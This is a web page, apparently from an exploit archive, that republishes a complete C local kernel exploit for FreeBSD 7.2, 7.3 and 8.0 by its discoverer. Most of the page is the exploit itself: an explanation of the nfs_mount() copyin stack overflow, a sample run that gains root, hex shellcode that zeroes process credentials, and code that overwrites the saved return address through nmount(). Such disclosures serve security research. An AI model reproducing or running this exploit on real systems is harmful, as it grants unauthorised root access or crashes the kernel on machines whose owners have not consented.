Home / os / win7

FreeBSD Kernel nfs_mount() Exploit

Posted on 23 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>FreeBSD Kernel nfs_mount() Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================== FreeBSD Kernel nfs_mount() Exploit ================================== /* * nfs_mount_ex.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. * * FreeBSD 8.0-RELEASE: Local kernel crash/denial-of-service. * FreeBSD 7.3/7.2-RELEASE: Local privilege escalation. * * Discovered and exploited by Patroklos (argp) Argyroudis. * * The vulnerability is in nfs_mount() which is reachable by the mount(2) * and nmount(2) system calls. In order for them to be enabled for * unprivileged users the sysctl(8) variable vfs.usermount must be set to a * non-zero value. * * nfs_mount() employs an insufficient input validation method for copying * data passed in the struct nfs_args from userspace to kernel. * Specifically, the file handle to be mounted (nfs_args.fh) and its size * (nfs_args.fhsize) are completely user-controllable. In file * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE: * * 1094 if (!has_fh_opt) { * 1095 error = copyin((caddr_t)args.fh, (caddr_t)nfh, * 1096 args.fhsize); * 1097 if (error) { * 1098 goto out; * 1099 } * * The above can cause a kernel stack overflow which leads to privilege * escalation in 7.3-RELEASE and 7.2-RELEASE, and a kernel crash / * denial-of-service in 8.0-RELEASE (due to SSP/ProPolice). 7.1-RELEASE * and earlier do not seem to be vulnerable since the bug was introduced in * 7.2-RELEASE. * * Sample run: * * [argp@julius ~]$ uname -rsi * FreeBSD 7.3-RELEASE GENERIC * [argp@julius ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@julius ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex * [argp@julius ~]$ ./nfs_mount_ex * [*] calling nmount() * [!] nmount error: -1030740736 * nmount: Unknown error: -1030740736 * [argp@julius ~]$ id * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp) * * $Id: nfs_mount_ex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $ */ #include &lt;sys/param.h&gt; #include &lt;sys/mount.h&gt; #include &lt;sys/uio.h&gt; #include &lt;err.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;sysexits.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/stat.h&gt; #include &lt;errno.h&gt; #include &lt;nfsclient/nfsargs.h&gt; #define BUFSIZE 272 #define FSNAME &quot;nfs&quot; #define DIRPATH &quot;/tmp/nfs&quot; unsigned char kernelcode[] = &quot;x64xa1x00x00x00x00&quot; /* movl %fs:0, %eax */ &quot;x8bx40x04&quot; /* movl 0x4(%eax), %eax */ &quot;x8bx40x30&quot; /* movl 0x30(%eax),%eax */ &quot;x31xc9&quot; /* xorl %ecx, %ecx */ &quot;x89x48x04&quot; /* movl %ecx, 0x4(%eax) */ &quot;x89x48x08&quot; /* movl %ecx, 0x8(%eax) */ &quot;x81xc4xb0x01x00x00&quot; /* addl $0x1b0, %esp */ &quot;x5b&quot; /* popl %ebx */ &quot;x5e&quot; /* popl %esi */ &quot;x5f&quot; /* popl %edi */ &quot;x5d&quot; /* popl %ebp */ &quot;xc3&quot;; /* ret */ int main() { char *ptr; long *lptr; struct nfs_args na; struct iovec iov[6]; na.version = 3; na.fh = calloc(BUFSIZE, sizeof(char)); if(na.fh == NULL) { perror(&quot;calloc&quot;); exit(1); } memset(na.fh, 0x41, BUFSIZE); na.fhsize = BUFSIZE; ptr = (char *)na.fh; lptr = (long *)(na.fh + BUFSIZE - 8); *lptr++ = 0x12345678; /* saved %ebp */ *lptr++ = (u_long)ptr; /* saved %eip */ memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1)); mkdir(DIRPATH, 0700); iov[0].iov_base = &quot;fstype&quot;; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = &quot;fspath&quot;; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = &quot;nfs_args&quot;; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = &amp;na; iov[5].iov_len = sizeof(na); printf(&quot;[*] calling nmount() &quot;); if(nmount(iov, 6, 0) &lt; 0) { fprintf(stderr, &quot;[!] nmount error: %d &quot;, errno); perror(&quot;nmount&quot;); rmdir(DIRPATH); free(na.fh); exit(1); } printf(&quot;[*] unmounting and deleting %s &quot;, DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); free(na.fh); return 0; } /* EOF */ # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP